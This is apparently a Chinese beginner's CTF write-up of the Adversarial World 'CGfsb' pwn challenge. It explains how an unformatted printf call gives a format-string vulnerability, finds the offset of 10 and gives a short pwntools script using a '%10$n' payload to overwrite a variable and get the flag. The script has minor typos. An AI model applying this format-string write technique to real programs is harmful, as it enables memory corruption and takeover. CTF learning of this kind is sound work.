1.pwn入門新手看完別人寫的wp,然後自己寫,攻防世界CGfsb格式化字符串漏洞

我們拿到一個文件,扔到linux終端裏
checksec一下
貼一波大佬的文章64位格式化字符串漏洞修改利用got表詳解
在這裏插入圖片描述我們可以看到這是一個開nx了的32位的文件,我們打開x86ida,按f5查看僞代碼,可以看到 這個當pwnme=8的時候 flag 就出來了

在這裏插入圖片描述 我們發現 他的上面有一個printf(const char*)v8 正常的應該是printf(”%s“,s)這樣有%的, 我們當然可以這樣寫,但是這樣是危險的,會有一定的概率導致 格式化字符串漏洞,
在這裏插入圖片描述0x41414141便是我們輸入的"AAAA",數一下便知道偏移是10
from pwn import *
#q = precess("./CGfsb")
q= remote(‘111.198.29.45’, )
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’
#pwnme的地址需要經過32位編碼轉換,是四位,而pwnme需要等於8,所以‘aaaa’起着湊字數的作用

q.recvuntil(“please tell me your name:\n”)
q.sendline(‘suibian’)
q.recvuntil(“leave your message please:\n”)
q.sendline(payload)
q.interactive()

發佈了7 篇原創文章 · 獲贊 13 · 訪問量 1432
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章